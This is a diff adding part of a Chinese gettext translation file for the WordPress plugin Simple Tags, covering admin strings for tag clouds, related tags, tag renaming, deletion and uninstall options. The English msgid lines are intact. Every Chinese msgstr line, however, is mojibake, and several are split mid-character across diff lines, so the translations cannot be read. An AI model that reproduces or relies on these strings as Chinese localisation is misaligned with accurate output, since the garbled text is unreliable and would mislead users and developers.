+msgid "Related tags separator:"
+msgstr "çžå
+³æ ç­ŸåéïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:400
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:413
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:428
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:441
+msgid "Leave empty for list format."
+msgstr "è¥ç±»åæ ŒåŒäžºlistïŒåè¯·åšæ­€å€çç©º"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:401
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:429
+msgid "Enter the text to show when there is no related tags:"
+msgstr "æ²¡æçžå
+³æ ç­Ÿæ¶æŸç€ºçææ¬ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:404
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:432
+msgid "You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "æšå¯ä»¥äœ¿çšå <code>st_related_tags()</code> åœæ°äžæ ·çè¯­æ³æ¥èªå®ä¹æŸç€ºææãè¯Šæ
+è¯·æ¥ç <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ææ¯ææ¡£</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:406
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:434
+msgid "Remove related Tags"
+msgstr "å é€çžå
+³æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:407
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:435
+msgid "Remove related Tags type format:"
+msgstr "ç§»é€çžå
+³æ ç­Ÿç±»åæ ŒåŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:412
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:440
+msgid "Remove related tags separator:"
+msgstr "å é€çžå
+³æ ç­Ÿåéç¬ŠïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:414
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:442
+msgid "Enter the text to show when there is no remove related tags:"
+msgstr "æ ç§»é€çžå
+³æ ç­Ÿæ¶åæŸç€ºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:415
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:443
+msgid "Remove related tags  link format:"
+msgstr "ç§»é€çžå
+³æ ç­ŸéŸæ¥æ ŒåŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:419
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:447
+msgid "Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+msgstr "<strong>âæ ç­Ÿéæ©â</strong>äž<strong>âæ ç­ŸæŸç€ºâ</strong> æäœåºå«ïŒ<br />"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:421
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:449
+msgid "<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag's cloud generation, corresponding to collect tags."
+msgstr "<strong>âæ ç­Ÿéæ©â</strong>æ¯çææ ç­Ÿäºçç¬¬äžäžªæ­¥éª€ïŒå³æ¶éæ ç­Ÿã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:422
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:450
+msgid "<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display."
+msgstr "<strong>âæ ç­ŸæŸç€ºâ</strong>æ¯ç¬¬äºäžªæ­¥éª€ãéæ©å¥œæ ç­ŸåïŒæšå¯ä»¥åšæŸç€ºå®ä»¬ä¹åéæ°å¯¹å®ä»¬æåºã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:424
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:452
+msgid "<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />"
+msgstr "<strong>èäŸïŒ</strong> æšåžææéæºé¡ºåºæŸç€º 100 äžªæç­éšçæ ç­Ÿ<br />"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:425
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:453
+msgid "You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud."
+msgstr "æšå¿
+é¡»è®Ÿçœ®âæ ç­Ÿéæ©äŸæ®âäžº<strong>count-desc</strong> ä»¥è·åæç­éšç 100 äžªæ ç­ŸïŒè®Ÿçœ®âæ ç­ŸæŸç€ºæåºâäžº<strong>random</strong> ä»¥åšæ ç­Ÿäºäž­éæºå¯¹å®ä»¬æåºã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:426
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:454
+msgid "Order tags selection:"
+msgstr "æ ç­Ÿéæ©äŸæ®ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:434
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:167
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:462
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:157
+msgid "Order tags display:"
+msgstr "æ ç­ŸæŸç€ºæåºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:437
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:465
+msgid "<code>count-desc</code> &ndash; Most popular."
+msgstr "<code>count-desc</code> &ndash; æç­éš"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:440
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:468
+msgid "<code>random</code> &ndash; Random. (default)"
+msgstr "<code>random</code> &ndash; éæº ïŒé»è®€ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:442
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:470
+msgid "Include categories in tag cloud ?"
+msgstr "åšæ ç­Ÿäºäž­å
+æ¬åç±»ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:443
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:471
+msgid "Tags cloud type format:"
+msgstr "æ ç­Ÿäºç±»åæ ŒåŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:450
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:478
+msgid "Maximum number of tags to display: (default: 45)"
+msgstr "æ ç­ŸæŸç€ºæ°ééå¶ïŒé»è®€ 45ïŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:451
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:479
+msgid "Enter the text to show when there is no tag:"
+msgstr "æ²¡ææ ç­Ÿæ¶æŸç€ºçææ¬ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:453
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:481
+msgid "Most popular color:"
+msgstr "æç­éšæ ç­Ÿé¢è²ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:454
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:482
+msgid "The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee)."
+msgstr "é¢è²çšåå
+­è¿å¶æ°å­è¡šç€ºïŒäžèœäœ¿çšç®ååœ¢åŒãïŒäŸåŠïŒ#EEE å°±æ¯ #EEEEEE çç®ååœ¢åŒïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:455
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:483
+msgid "Least popular color:"
+msgstr "æå·éšæ ç­Ÿé¢è²ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:456
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:484
+msgid "Most popular font size:"
+msgstr "æç­éšæ ç­Ÿå­å·ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:457
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:485
+msgid "The two font sizes are the size of the largest and smallest tags."
+msgstr "äž€ç§å­å·åå«å¯¹åºæå€§æ ç­Ÿåæå°æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:458
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:486
+msgid "Least popular font size:"
+msgstr "æå·éšæ ç­Ÿå­å·ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:459
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:487
+msgid "The units to display the font sizes with, on tag clouds:"
+msgstr "æ ç­Ÿäºå­å·åäœïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:460
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:488
+msgid "The font size units option determines the units that the two font sizes use."
+msgstr "å­å·åäœéé¡¹å³å®äºä»¥äžäž€äžªå­å·çåäœ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:462
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:490
+msgid "You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "æšå¯ä»¥äœ¿çšå <code>st_tag_cloud()</code> åœæ°äžæ ·çè¯­æ³æ¥èªå®ä¹æŸç€ºææãè¯Šæ
+è¯·æ¥ç <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">ææ¯ææ¡£</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:476
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:504
+msgid "Options saved"
+msgstr "éé¡¹å·²ä¿å­"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:480
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:508
+msgid "Simple Tags options resetted to default options!"
+msgstr "Simple Tags çéé¡¹å·²éçœ®äžºé»è®€åŒ!"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:486
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:514
+#, php-format
+msgid "All Simple Tags options are deleted ! You <a href=\"%s\">deactive plugin</a> now !"
+msgstr "Simple Tags ææéé¡¹éœå·²å é€ãæšå¯ä»¥<a href=\"%s\"> ç«å³çŠçš Simple Tags</a>ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:526
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:550
+msgid "Update Options &raquo;"
+msgstr "æŽæ°éé¡¹  &raquo;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:527
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:551
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:526
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:549
+msgid "Do you really want to restore the default options?"
+msgstr "ç¡®å®èŠæ¢å€é»è®€éé¡¹åïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:527
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:551
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:526
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:549
+msgid "Reset Options"
+msgstr "éçœ®éé¡¹"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:534
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:533
+msgid "Uninstallation"
+msgstr "åžèœœ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:540
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:539
+msgid "Generally, deactivating this plugin does not erase any of its data, if you like to quit using Simple Tags for good, please erase <strong>all</strong> options before deactivating the plugin."
+msgstr "äžè¬æ¥è¯ŽïŒçŠçšæä»¶å¹¶äžæž
+é€å
+¶å·²ææ°æ®ãåŠææšå°æ°žäžåäœ¿çš Simple TagsïŒåšçŠçšå®ä¹åïŒè¯·æž
+é€ Simple Tags ç<strong>ææ</strong>éé¡¹ã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:541
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:540
+msgid "This erases all Simple Tags options. <strong>This is irrevocable! Be careful.</strong>"
+msgstr "è¿å°æž
+é€ Simple Tags çææéé¡¹ã<strong>æ¬æäœäžå¯æ€æ¶ïŒè¯·å¡å¿
+å°å¿ã</strong>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:544
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:543
+msgid "Delete all options ?"
+msgstr "æž
+é€ææéé¡¹"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:568
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1714
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:565
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:1206
+msgid "Security problem. Try again. If this problem persist, contact <a href=\"mailto:amaury@wordpress-fr.net\">plugin author</a>."
+msgstr "å®å
+šé®é¢ïŒè¯·éè¯ãåŠæè¯¥é®é¢ä»ç¶å­åšïŒè¯·èç³»  <a href=\"mailto:amaury@wordpress-fr.net\">æä»¶äœè
+</a>."
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:601
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:171
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:161
+msgid "Most popular"
+msgstr "ç­éšåºŠ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:602
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:161
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:172
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:151
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:162
+msgid "Least used"
+msgstr "å·éšåºŠ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:603
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:158
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.widgets.php:169
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:148
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.widgets.php:159
+msgid "Alphabetical"
+msgstr "å­æ¯é¡ºåº"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:634
+msgid "Existing Tags"
+msgstr "å·²ææ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:638
+msgid "Search tags"
+msgstr "æçŽ¢æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:642
+msgid "Go"
+msgstr "æçŽ¢"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:645
+msgid "Sort Order:"
+msgstr "æåºäŸæ®ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:660
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1844
+#, php-format
+msgid "View all posts tagged with %s"
+msgstr "æ¥ç %s äžçæææ¥å¿"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:671
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1859
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1861
+msgid "Previous tags"
+msgstr "äžäžé¡µ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:671
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1865
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:1867
+msgid "Next tags"
+msgstr "äžäžé¡µ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:679
+msgid "Rename Tag"
+msgstr "éåœåæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:680
+msgid "Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click \"Rename\" and all posts which use this tag will be updated."
+msgstr "åšäžæ¹èŸå
+¥åŸ
+éåœåçæ ç­Ÿåæåç§°åæ°åç§°ã æšä¹å¯ä»¥åæ­€åå¹¶æ ç­Ÿãç¹å»âéåœåâåïŒè¯¥æ ç­Ÿäžçæ¥å¿éœäŒè¢«æŽæ°ã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:681
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:722
+msgid "You can specify multiple tags to rename by separating them with commas."
+msgstr "æšå¯ä»¥çšè±æéå·äœäžºåéç¬Šä»¥æå®å€äžªåŸ
+éåœåçæ ç­Ÿã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:686
+msgid "Tag(s) to rename:"
+msgstr "åŸ
+éåœåçæ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:687
+msgid "New tag name(s):"
+msgstr "æ ç­Ÿæ°åç§°ïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:688
+msgid "Rename"
+msgstr "éåœå"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:693
+msgid "Delete Tag"
+msgstr "å é€æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:694
+msgid "Enter the name of the tag to delete.  This tag will be removed from all posts."
+msgstr "èŸå
+¥åŸ
+å é€çæ ç­Ÿãè¿äºæ ç­Ÿå°ä»æææ¥å¿äž­ç§»é€ã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:695
+msgid "You can specify multiple tags to delete by separating them with commas"
+msgstr "æšå¯ä»¥çšè±æéå·äœäžºåéç¬Šä»¥æå®å€äžªåŸ
+å é€çæ ç­Ÿã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:700
+msgid "Tag(s) to delete:"
+msgstr "åŸ
+å é€çæ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:701
+msgid "Delete"
+msgstr "å é€"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:706
+msgid "Add Tag"
+msgstr "æ·»å æ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:707
+msgid "This feature lets you add one or more new tags to all posts which match any of the tags given."
+msgstr "è¯¥åèœå¯ä»¥è®©æšäžºå¹é
+æå®æ ç­Ÿçæ¥å¿å äžäžäžªæå€äžªæ°æ ç­Ÿã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:708
+msgid "You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don't specify any tags to match."
+msgstr "æšå¯ä»¥çšè±æéå·äœäžºåéç¬Šä»¥æå®å€äžªæ ç­ŸãåŠææšæ³ææ ç­Ÿå å°æææ¥å¿äž­ïŒåäžèŠæå®ä»»äœåŸ
+å¹é
+çæ ç­Ÿã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:713
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:728
+msgid "Tag(s) to match:"
+msgstr "åŸ
+å¹é
+çæ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:714
+msgid "Tag(s) to add:"
+msgstr "åŸ
+æ·»å çæ ç­ŸïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:715
+msgid "Add"
+msgstr "æ·»å "
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:720
+msgid "Edit Tag Slug"
+msgstr "çŒèŸæ ç­ŸçŒ©ç¥å"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:721
+msgid "Enter the tag name to edit and its new slug. <a href=\"http://codex.wordpress.org/Glossary#Slug\">Slug definition</a>"
+msgstr "èŸå
+¥æ ç­Ÿåäžå
+¶çŒ©ç¥åã <a href=\"http://codex.wordpress.org/Glossary#Slug\">çŒ©ç¥åå®ä¹</a>"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:732
+msgid "Slug(s) to set:"
+msgstr "åŸ
+è®Ÿçœ®ççŒ©ç¥åïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:737
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:916
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:785
+msgid "Edit"
+msgstr "çŒèŸ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:743
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:577
+msgid "Remove empty terms"
+msgstr "æž
+çç©ºçœæ ç­Ÿ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:744
+msgid "WordPress 2.3 have a small bug and can create empty terms. Remove it !"
+msgstr "WordPress 2.3 æäžäžªå° BugïŒäŒäº§çç©ºçœæ ç­ŸïŒå¯ä»¥åšæ­€æž
+çã"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:748
+msgid "Clean !"
+msgstr "æž
+ç!"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:849
+msgid "Search terms&hellip;"
+msgstr "æçŽ¢å
+³é®è¯&hellip;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:854
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.5/inc/simple-tags.admin.php:755
+msgid "Quantity&hellip;"
+msgstr "æ°é&hellip;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:872
+msgid "Author&hellip;"
+msgstr "äœè
+&hellip;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:873
+msgid "Any"
+msgstr "ä»»äœ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:878
+msgid "Type&hellip;"
+msgstr "ç±»å&hellip;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:880
+msgid "Post"
+msgstr "æ¥å¿"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:882
+msgid "Page"
+msgstr "é¡µé¢"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:888
+msgid "Order&hellip;"
+msgstr "æåº&hellip;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:890
+msgid "Date (descending)"
+msgstr "æ¥æ ïŒéåºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:891
+msgid "Date (ascending)"
+msgstr "æ¥æ ïŒååºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:892
+msgid "ID (descending)"
+msgstr "ID ïŒéåºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:893
+msgid "ID (ascending)"
+msgstr "ID ïŒååºïŒ"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:898
+msgid "Filter&hellip;"
+msgstr "è¿æ»€&hellip;"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:900
+msgid "All"
+msgstr "å
+šéš"
+
+#: C:\xampp\htdocs\wp\wp-content\plugins\simple-tags/2.3/inc/simple-tags.admin.php:901
+msgid "Untagged only"
+msgstr "ä»
+æŸç€ºæ æ ç­Ÿæ¡ç®"
+
